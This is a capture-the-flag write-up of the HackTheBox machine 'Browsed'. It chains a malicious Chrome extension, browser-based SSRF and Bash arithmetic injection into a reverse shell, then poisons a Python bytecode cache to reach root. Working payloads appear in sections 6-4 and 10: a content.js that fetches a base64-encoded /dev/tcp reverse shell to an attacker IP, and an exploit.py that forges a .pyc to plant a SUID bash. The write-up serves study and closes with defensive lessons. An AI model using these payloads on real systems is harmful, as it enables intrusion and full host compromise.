Pentest Notes – Browsed Foothold Chain

Date: 2026-01-12
Box: HTB — Browsed (Pentest Study Note)

Browsed – Chrome Extension → SSRF → Bash Arithmetic Injection → Python Bytecode Poisoning → Root

Initial enumeration exposed only SSH (22) and an nginx web service (80). The real entry point was a Chrome extension upload workflow that handed attacker-supplied extensions to a developer/admin bot. By proving content.js executed inside a headless Chrome running on the host, localhost and internal network access became reachable (SSRF-by-browser). Internal Gitea source revealed a localhost-only Flask endpoint that executed routines.sh with attacker-controlled input, enabling Bash arithmetic injection via [[ "$1" -eq 0 ]] comparisons. This yielded a reverse shell as user larry. Privilege escalation was completed by abusing a world-writable __pycache__ in a root-executable Python tool, poisoning extension_utils.cpython-312.pyc so root imported attacker-controlled bytecode.
Chrome Extension Upload Admin Bot SSRF (localhost) Gitea Exposure Bash Arithmetic Injection Reverse Shell __pycache__ Poisoning

0. Summary

Full chain, step by step:

  1. Full port scan identifies nginx web surface (80) and SSH (22).
  2. Discover /upload.php extension upload + “Send to the developer” workflow.
  3. Confirm developer/admin bot executes uploaded extension (headless Chrome on host).
  4. Use content-script outbound request to prove code execution + exfiltration channel.
  5. Enumerate internal services reachable by bot → find browsedinternals.htb:3000 (Gitea).
  6. Read internal source: localhost-only Flask endpoint calls ./routines.sh <rid>.
  7. Exploit Bash arithmetic context in [[ "$1" -eq N ]] to achieve command execution.
  8. Get reverse shell → foothold as larry; retrieve user.txt.
  9. Enumerate sudo: root can run /opt/extensiontool/extension_tool.py NOPASSWD.
  10. Abuse world-writable __pycache__ to poison extension_utils bytecode and spawn root shell.
  11. Read /root/root.txt for proof.

1. Initial Enumeration

1-1. Port Scan

sudo nmap -sV -sC -p- 10.10.8.1 --min-rate=1000

1-2. Key Results

  • 22/tcp – OpenSSH 9.6 (no obvious vuln)
  • 80/tcp – nginx 1.24.0
  • Web title: Browsed
Attack surface
With only a basic SSH banner and an nginx web app, exploitation effort focused entirely on the HTTP application logic.

2. Chrome Extension Upload & Admin Bot Discovery

2-1. Observation

  • Page: /upload.php
  • Extension upload accepted as .zip
  • “Send to the developer” button triggers server-side processing / review

2-2. Log evidence (core)

  • Chrome executed from host filesystem (/var/www/.config/...)
  • No sandbox/container isolation observed
  • DevTools enabled and listening locally
DevTools listening on ws://127.0.0.1:44639
http://browsedinternals.htb
Why this matters
This confirms a host-level headless Chrome “developer bot” with internal + localhost reachability. If attacker-controlled content runs in that browser, it can act as an SSRF pivot.

3. Internal Service Enumeration (SSRF Context)

3-1. Internal subdomain

browsedinternals.htb:3000

3-2. Identified service

  • Gitea 1.24.5
Conclusion
Admin bot can reach internal developer infrastructure, enabling source inspection and discovery of localhost-only endpoints.

4. Content Script Execution Proof (Signal Exfiltration)

4-1. Action

  • Modify the uploaded extension’s content.js
  • Force an outbound HTTP request to attacker infra

4-2. Evidence

NetworkDelegate::NotifyBeforeURLRequest: http://10.10.14.37/?test=1
What this proves
The uploaded extension is executed in the developer bot’s Chrome context, and it can communicate externally. This gives both a “proof channel” and a mechanism to drive SSRF to internal/localhost services.

5. SSRF to Localhost (Flask Internal App)

5-1. Discovery (via Gitea source)

@app.route('/routines/<rid>')
def routines(rid):
    subprocess.run(["./routines.sh", rid])
    return "Routine executed!"

5-2. Key constraint

  • Flask app bound to 127.0.0.1:5000 only
  • Not directly reachable from outside
Pivot
Because the admin bot runs a browser on the target host, attacker-controlled JS can issue requests to http://127.0.0.1:5000 — effectively turning the bot into a localhost SSRF client.

6. Bash Arithmetic Injection → Command Execution

6-1. Vulnerable snippet (routines.sh)

if [[ "$1" -eq 0 ]]; then
...
elif [[ "$1" -eq 1 ]]; then
...

6-2. Core idea

  • [[ ... -eq ... ]] forces arithmetic evaluation context
  • Bash evaluates expressions in arithmetic contexts (including array-style expression parsing)
  • $(...) command substitution executes before the numeric comparison resolves

6-3. Execution flow

/routines/<payload>
 → Flask subprocess.run()
 → routines.sh "$1"
 → arithmetic evaluation
 → command substitution
 → command execution

6-4. Exploitation Code

// content.js
const target = "http://127.0.0.1:5000/routines/";
const myIp = "10.10.14.37";

// 간단한 테스트용 지연 확인 페이로드
// const payload = "a[$(sleep%205)]";

// 리버스 쉘 페이로드
const cmd = "bash -c 'bash -i>& /dev/tcp/10.10.14.37/4444 0>&1'";
const encoded = btoa(cmd);
const payload = `a[$(echo%20${encoded}|base64%20-d|bash)]`;

fetch(target + payload, { mode: "no-cors" });
Impact
A route parameter that “looks numeric” becomes a command execution primitive once it enters Bash arithmetic evaluation.

7. Foothold: User larry

7-1. Shell proof

whoami
# larry

7-2. user.txt

cat ~/user.txt
# bc280ab3380e1d1d8816d5301ba7c723

8. Privilege Escalation Enumeration

8-1. Sudo rights

sudo -l

(root) NOPASSWD: /opt/extensiontool/extension_tool.py
Opportunity
A root-executable Python tool is a high-value privesc target—especially if any import paths, writable directories, or cache files can be influenced.

9. Extension Tool Analysis (Python)

9-1. Directory layout + permissions

/opt/extensiontool/
├── extension_tool.py        root:root
├── extension_utils.py       root:root
├── extensions/              root:root (group writable)
└── __pycache__/             root:root (WORLD WRITABLE)
Critical design flaw
A world-writable __pycache__ enables unprivileged users to replace bytecode that root will later import.

9-2. Import structure

from extension_utils import validate_manifest, clean_temp_files

10. Python Bytecode Cache Poisoning (LPE)

10-1. Root cause

  • Root runs extension_tool.py via sudo
  • Imported module bytecode stored in writable cache path
  • If a valid .pyc matches expectations, Python will execute it

10-2. Exploit strategy (high-level)

  1. Read original extension_utils.py metadata (timestamp/size expectations)
  2. Create a malicious module with the same exported functions
  3. Compile into a matching extension_utils.cpython-312.pyc
  4. Overwrite the target’s cached bytecode under /opt/extensiontool/__pycache__/
  5. Run the root tool → poisoned bytecode imports as root

10-3. /tmp/extensions_utils.py

import os

def validate_manifest(path):
    os.system("install -o root -m 4755 /bin/bash /tmp/.sh")
    return {}

def clean_temp_files(arg):
    pass

######################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################### ... (원본 파일 크기와 정확히 일치하도록 n 개의 # 또는 공백/주석 문자들)

10-4. exploit.py

import os
import py_compile
import shutil

# 경로 설정
ORIG_SRC = "/opt/extensiontool/extension_utils.py"
EVIL_SRC = "/tmp/extension_utils.py"
DEST_PYC = "/opt/extensiontool/__pycache__/extension_utils.cpython-312.pyc"

# 원본 파일 메타데이터 가져오기
stat = os.stat(ORIG_SRC)
target_size = stat.st_size

# malicious payload to initiate a shell with root perm
payload = (
    "import os\n"
    "def validate_manifest(path):\n"
    "    os.system(\"install -o root -m 4755 /bin/bash /tmp/.sh\")\n"
    "    return {}\n"
    "def clean_temp_files(arg):\n"
    "    pass\n"
)

# 크기 정확히 맞추기 위한 패딩 !!!
padding = target_size - len(payload)
payload += "#" * padding

# 악성 소스 파일 생성
with open(EVIL_SRC, "w") as f:
    f.write(payload)

# 타임스탬프 동기화 !!!
os.utime(EVIL_SRC, (stat.st_atime, stat.st_mtime))

# .pyc 컴파일 (중간 파일 생성)
py_compile.compile(EVIL_SRC, cfile="/tmp/evil.pyc")

# 기존 .pyc 삭제 후 덮어쓰기
if os.path.exists(DEST_PYC):
    os.remove(DEST_PYC)
shutil.copy("/tmp/evil.pyc", DEST_PYC)

print("[+] Poisoned .pyc injected successfully")
Goal
Execute a root-level payload on import (e.g., drop a SUID shell or spawn a root shell directly).

11. Root Shell & Proof

11-1. Root shell

python3 exploit.py
# [+] Poisoned .pyc injected successfully

sudo /opt/extensiontool/extension_tool.py --ext Fontify
# [-] Skipping version bumping
# [-] Skipping packaging

# Let's go.
/tmp/.sh -p

.sh-5.2# whoami
root

11-2. root.txt

cat /root/root.txt
# dee0bcb2d54434b722e22b2ad212baf8

12. Root Causes Summary

Weakness / Condition Impact
Extension upload processed by a host-level developer/admin bot (headless Chrome) Attacker-controlled JavaScript executes with internal + localhost network reachability
Internal Gitea exposed to the bot Source disclosure enables discovery of localhost-only execution endpoints
Flask endpoint executes routines.sh with user-controlled argument Direct path to command execution if the script is unsafe
Bash arithmetic evaluation in [[ "$1" -eq N ]] Command substitution can execute prior to numeric comparison → RCE
Root-executable Python tool with world-writable __pycache__ Bytecode poisoning → attacker-controlled code runs as root

13. Key Takeaways

  • “Bot reviews” are privileged execution environments. Treat them as hostile sandboxes, isolate them, and block localhost/internal reachability.
  • Browser-based SSRF is real. If attacker code runs inside an internal browser, localhost-only services become reachable.
  • Shell arithmetic is not “just a number check.” Unsafe evaluation contexts turn input validation into RCE.
  • Never make __pycache__ writable. Import-time bytecode trust becomes a straightforward root escalation.

Overall: a clean, evidence-backed chain from an extension upload workflow to a deterministic root compromise.